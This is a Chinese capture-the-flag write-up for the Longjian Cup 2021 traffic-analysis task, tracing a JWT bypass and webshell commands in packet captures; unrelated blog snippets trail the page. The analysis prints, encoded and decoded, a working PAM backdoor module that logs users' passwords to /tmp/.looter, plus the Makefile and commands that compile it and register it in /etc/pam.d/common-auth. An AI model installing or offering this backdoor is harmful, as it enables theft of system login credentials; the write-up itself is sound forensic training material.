流量分析——陇剑杯 2021【签到、jwt】
目录
- 签到
- 1、攻击者正在进行的可能是什么协议的网络攻击
- jwt
- 1、该网站使用了______认证方式。
- 前置知识:
- 解:
- 2、黑客绕过验证使用的jwt中,id和username是
- 3、黑客获取webshell之后,权限是什么
- 4、黑客上传的恶意文件文件名是
- 5、黑客在服务器上编译的恶意so文件,文件名是什么
- 6、黑客在服务器上修改了一个配置文件,文件的绝对路径为
签到
1、攻击者正在进行的可能是什么协议的网络攻击
统计 --> 协议分级
主要是TCP协议,且应用层协议主要是HTTP
HTTP
jwt
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
1、该网站使用了______认证方式。
前置知识:
网站使用的认证方式主要有:
- Session机制
- JWT
- OAuth2
- Cookie
- HTTP Basic Auth
- OpenID Connect
- 双因素认证
记得各种认证方式的主要特征
JWT:头部、载荷和签名三段数据以.
分隔,通过base64进行加密
解:
查看token的信息,明显的jwt认证方式
还可以解码进行验证,直接能识别到用JWT进行解码了~~~
用base64解头部也一样
JWT
2、黑客绕过验证使用的jwt中,id和username是
追踪HTTP流
既然问的是id和username,那么就要找whoami
这个命令,并且返回200码
在第3个流有所发现
解码是:
之后的流中显示的信息是没有成功攻击,继续往下分析
在第10个流时再次发现,往后的流就是在进行攻击
把第二段载荷解码即可
对往后的流进行分析
# eq 11
echo%20MTIz|base64%20-d
# 输出MTIz用base64解码之后的结果
# 返回 123
#eq 12
echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2bCiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9|base64%20-d
输出base64解码后的内容
解码后是一段C代码
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <unistd.h>
size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp)
{
return size * nmemb;
}void saveMessage(char (*message)[]) {
FILE *fp = NULL;
fp = fopen("/tmp/.looter", "a+");
fputs(*message, fp);
fclose(fp);
}PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
return PAM_SUCCESS;
}PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
int retval;
const char* username;
const char* password;
char message[1024];
retval = pam_get_user(pamh, &username, "Username: ");
pam_get_item(pamh, PAM_AUTHTOK, (void *) &password);
if (retval != PAM_SUCCESS) {
return retval;
}snprintf(message,2048,"Username %s\nPassword: %s\n",username,password);
saveMessage(&message);
return PAM_SUCCESS;
}
这段代码是一个PAM模块的示例,用于在Linux系统中进行身份验证,并将用户名和密码保存到文件中。
#eq 13
echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nLmg%2bCiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI2luY2x1ZGUgPHVuaXN0ZC5oPgpzaXplX3Qgd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX3Qgbm1lbWIsIHZvaWQgKnVzZXJwKQp7CnJldHVybiBzaXplICogbm1lbWI7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiKTsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3NlKGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3NldGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW50IGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3RfbWdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2ICkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGFtX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1lOiAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvcmQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2UsMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N3b3JkOiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9|base64%20-d%20>/tmp/1.c
输出的结果定向到/tmp/1.c
文件中
#eq 14
ls%20/tmp
查看/tmp
文件夹
#eq 15
cat /tmp/1.c
查看1.c的文件内容
#eq 16
echo%20Q0ZMQUdTICs9IC1XZXJyb3IgLVdhbGwKCmxvb3Rlci5zbzogbG9vdGVyLmMKCWdjYyAkKENGTEFHUykgLWZQSUMgLXNoYXJlZCAtWGxpbmtlciAteCAtbyAkQCAkPCAtbGN1cmw=|base64%20-d%20>/tmp/Makefile
CFLAGS += -Werror -Walllooter.so: looter.cgcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
写入/tmp/Makefile
文件中
用于编译一个名为"looter.so"的共享库。其中,CFLAGS变量包含了一些编译选项,如-Werror和-Wall,分别表示将所有警告视为错误和开启所有警告。接下来的规则定义了如何从"looter.c"源文件生成"looter.so"共享库。
#eq 17
ls%20/tmp
查看tmp
目录下的文件
#eq 18
cd%20/tmp;make
切换到tmp
目录下后执行make
命令,进行自动编译
#eq 19
mv%20/tmp/1.c%20/tmp/looter.c
重命名1.c
为looter.c
#eq 20
cd%20/tmp;make
在tmp
目录下执行make
命令
#eq 21
ls%20/tmp
查看tmp目录下的文件
多了looter.so
文件,进行了编译
#eq 22
cp%20/tmp/looter.so%20/lib/x86_64-linux-gnu/security/
将looter.so
复制到/lib/x86_64-linux-gnu/security/
路径下
#eq 23
ls%20/lib/x86_64-linux-gnu/security/
查看该路径目录文件
#eq 24
echo%20"auth%20optional%20looter.so"
输出字符串auth optional looter.so
#eq 25
echo%20"\nauth%20optional%20looter.so"
输出字符串回车 auth optional looter.so
#eq 26
echo%20"auth%20optional%20looter.so">>/etc/pam.d/common-auth
将这串字符串auth optional looter.so
添加到/etc/pam.d/common-auth
内容的后面
#eq 27
cat%20/etc/pam.d/common-auth
查看common-auth
的文件内容
#eq 28
service%20ssh%20restart
重启ssh服务
#eq 29
whoami
当前用户
#eq 30
ls%20-al%20/tmp
查看详细信息
#eq 31
cat%20/tmp/.looter
查看.looter
文件信息
10087 admin
3、黑客获取webshell之后,权限是什么
查看whoami返回的值
root
4、黑客上传的恶意文件文件名是
分析第13流可以知道是1.c
1.c
5、黑客在服务器上编译的恶意so文件,文件名是什么
分析第16-21流,得知编译后的文件名是looter.so
looter.so
6、黑客在服务器上修改了一个配置文件,文件的绝对路径为
分析第26流,修改的配置文件路径为/etc/pam.d/common-auth
/etc/pam.d/common-auth
相关文章:

流量分析——陇剑杯 2021【签到、jwt】
目录 签到1、攻击者正在进行的可能是什么协议的网络攻击 jwt1、该网站使用了______认证方式。前置知识:解: 2、黑客绕过验证使用的jwt中,id和username是3、黑客获取webshell之后,权限是什么4、黑客上传的恶意文件文件名是5、黑客在…...

Java并发基础:原子类之AtomicIntegerFieldUpdater全面解析
本文概要 AtomicIntegerFieldUpdater类提供了一种高效、简洁的方式来原子性地更新对象的volatile字段,无需使用重量级的锁机制,它通过基于反射的API实现了细粒度的并发控制,提升了多线程环境下的性能表现。 AtomicIntegerFieldUpdater核心概…...

普中51单片机学习(串口通信)
串口通信 原理 计算机通信是将计算机技术和通信技术的相结合,完成计算机与外部设备或计算机与计算机之间的信息交换 。可以分为两大类:并行通信与串行通信。并行通信通常是将数据字节的各位用多条数据线同时进行传送 。控制简单、传输速度快࿱…...

【ArcGIS】利用高程进行坡度分析
在ArcGIS中利用高程进行坡度分析 坡度ArcGIS实操参考 坡度 坡度是地表单元陡缓的程度,通常把坡面的垂直高度和水平距离的比值称为坡度。 坡度的表示方法有百分比法、度数法、密位法和分数法四种,其中以百分比法和度数法较为常用。 (1&#…...
递归读取文件夹下的所有文件
水一篇文章 🐶 代码 package file;import org.apache.commons.lang3.StringUtils; import org.junit.Test;import java.io.File; import java.util.Objects;/*** FlattenDirFiles** author allens* date 2024/2/19*/ public class FlattenDirFiles {// 文件数量pri…...
phpspreadsheet导出数据和图片到excel
仅作记录,废话不多说 前提是已经安装了phpspreadsheet ( composer require phpoffice/phpspreadsheet ) 一、 数据拼装,调用excel类 <?php /*** 电子台账* Date: 2023/4/20* Time: 17:28*/namespace app\store\controlle…...
Seata的 TCC 模式
目录 概述 使用 依赖与配置 代码 概述 TCC 模式是一种侵入式的分布式事务解决方案,它不依赖于数据库的事务,而是要求开发者自定义完成 预提交、提交、回滚的方法逻辑。因此,它是一个种偏 复杂、灵活、有侵入性 的分布式事务处理方案。 De…...
Vue全局指令防止重复点击(等待请求)
继《vue之全局请求loading》之后,总觉得全局loading有时候不太…友好,所以总想将loading加到被点击的元素上面,于是乎就想到了点击事件与请求方法相关联,本想重写组件的click方法,但是这样对组件的影响太大,…...

数据库索引面试的相关问题
查看索引的执行计划 索引失效的情况 1、索引列上做了计算,函数,类型转换等操作。索引失效是因为查询过程需要扫描整个索引并回表。代价高于直接全表扫描。 Like匹配使用了前缀匹配符“%abc” 字符串不加引号导致类型转换。 原因: 常见索…...
Spring启动生命周期
Spring Boot 生命周期详解 Spring Boot 应用程序的生命周期包含几个阶段,每个阶段都有特定的事件和钩子,允许开发者在应用程序的不同生命周期阶段插入自定义逻辑。以下是 Spring Boot 生命周期的主要阶段和对应的事件: 准备阶段:…...
瑞芯微RK3568芯片介绍
RK3568简介 RK3568是一款由瑞芯微电子有限公司(Rockchip Electronics Co. Ltd)推出的高性能多媒体处理器,定位于中高端市场,被广泛应用于平板电脑、多媒体盒子、电子看板和工业控制等领域。以下是对这款芯片的简要介绍࿱…...

15.一种坍缩式的简单——组合模式详解
当曾经的孩子们慢慢步入社会才知道,那年味渐淡的春节就像是疾驰在人生路上的暂停键。 它允许你在隆隆的鞭炮声中静下心来,瞻前顾后,怅然若失。 也允许你在寂静的街道上屏气凝神,倾听自己胸腔里的那团人声鼎沸。 孩子们会明白的&am…...

Node.js的debug模块源码分析及在harmonyOS平台移植
Debug库 是一个小巧但功能强大的 JavaScript 调试工具库,可以帮助开发人员更轻松地进行调试,以便更快地发现和修复问题。它的主要特点是可以轻松地添加调试日志语句,同时在不需要调试时可以轻松地禁用它们,以避免在生产环境中对性…...

【Crypto | CTF】BUUCTF RSA2
天命:密码学越来越难了,看别人笔记都不知道写啥 天命:莫慌,虽然我不会推演法,但我可以用归纳法 虽然我不知道解题的推演,但我可以背公式啊哈哈哈 虽然我不会这题,但是我也能做出来 公式我不知…...

单片机学习笔记---红外遥控红外遥控电机调速(完结篇)
目录 低电平触发中断和下降沿触发中断的区别 红外遥控 Int0.c Int.h Timer0.c Timer0.h IR.c IR.h main.c 红外遥控电机调速 Timer1.c Timer.h Motor.c Motor.h main.c 上一节讲了红外发送和接收的工作原理,这一节开始代码演示! 提前说…...

Linux第62步_备份移植好的所有的文件和文件夹
1、备份“my-tfa”目录下所有的文件和文件夹 1)、打开终端 输入“ls回车”,列出当前目录下所有的文件和文件夹 输入“cd linux回车”,切换“linux”目录下 输入“ls回车”,列出当前目录下所有的文件和文件夹 输入“cd atk-mp1/回车”&am…...
【xss跨站漏洞】xss漏洞前置知识点整理
xss漏洞成因 xss漏洞是一种前端javascript产生的漏洞。 我们网站基本都是会用到javascript编写一些东西,浏览器也能直接识别javascript。 如果有一个地方能够输入文字,但是他又没有过滤你的输入,那么自己或者他人看到你输入的javascript代…...
mac下mysql 常用命令
mysql启动命令 在Mac OS X启动和停止MySQL服务的命令, 启动MySQL服务 sudo /usr/local/mysql/support-files/mysql.server start 停止MySQL服务 sudo /usr/local/mysql/support-files/mysql.server stop 重启MySQL服务 sudo /usr/local/mysql/support-files/mys…...
2.21号qt
1.QMainWindow中常用的类 继承于QMainWindow类,原因该类提供了QWidget没有提供的成员函数。 菜单栏、工具栏、状态栏、浮动窗口(铆接部件)、核心部件 1.1 菜单栏 QMenuBar //创建菜单栏 QMenuBar 最多只能有一个 QMenuBar *mbar menu…...
什么是MVVM?MVC、MVP与MVVM模式的区别?
MVVM(Model-View-ViewModel)是一种软件架构模式,用于将用户界面(View)与业务逻辑(Model)分离,并通过ViewModel来连接两者。MVVM的目标是实现可测试性、可维护性和可复用性。 MVC&am…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误,它们的含义、原因和解决方法都有显著区别。以下是详细对比: 1. HTTP 406 (Not Acceptable) 含义: 客户端请求的内容类型与服务器支持的内容类型不匹…...

Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
【Linux】C语言执行shell指令
在C语言中执行Shell指令 在C语言中,有几种方法可以执行Shell指令: 1. 使用system()函数 这是最简单的方法,包含在stdlib.h头文件中: #include <stdlib.h>int main() {system("ls -l"); // 执行ls -l命令retu…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
MySQL中【正则表达式】用法
MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现(两者等价),用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例: 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

【Oracle】分区表
个人主页:Guiat 归属专栏:Oracle 文章目录 1. 分区表基础概述1.1 分区表的概念与优势1.2 分区类型概览1.3 分区表的工作原理 2. 范围分区 (RANGE Partitioning)2.1 基础范围分区2.1.1 按日期范围分区2.1.2 按数值范围分区 2.2 间隔分区 (INTERVAL Partit…...

SiFli 52把Imagie图片,Font字体资源放在指定位置,编译成指定img.bin和font.bin的问题
分区配置 (ptab.json) img 属性介绍: img 属性指定分区存放的 image 名称,指定的 image 名称必须是当前工程生成的 binary 。 如果 binary 有多个文件,则以 proj_name:binary_name 格式指定文件名, proj_name 为工程 名&…...

VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP
编辑-虚拟网络编辑器-更改设置 选择桥接模式,然后找到相应的网卡(可以查看自己本机的网络连接) windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置,选择刚才配置的桥接模式 静态ip设置: 我用的ubuntu24桌…...

基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...

打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用
一、方案背景 在现代生产与生活场景中,如工厂高危作业区、医院手术室、公共场景等,人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式,存在效率低、覆盖面不足、判断主观性强等问题,难以满足对人员打手机行为精…...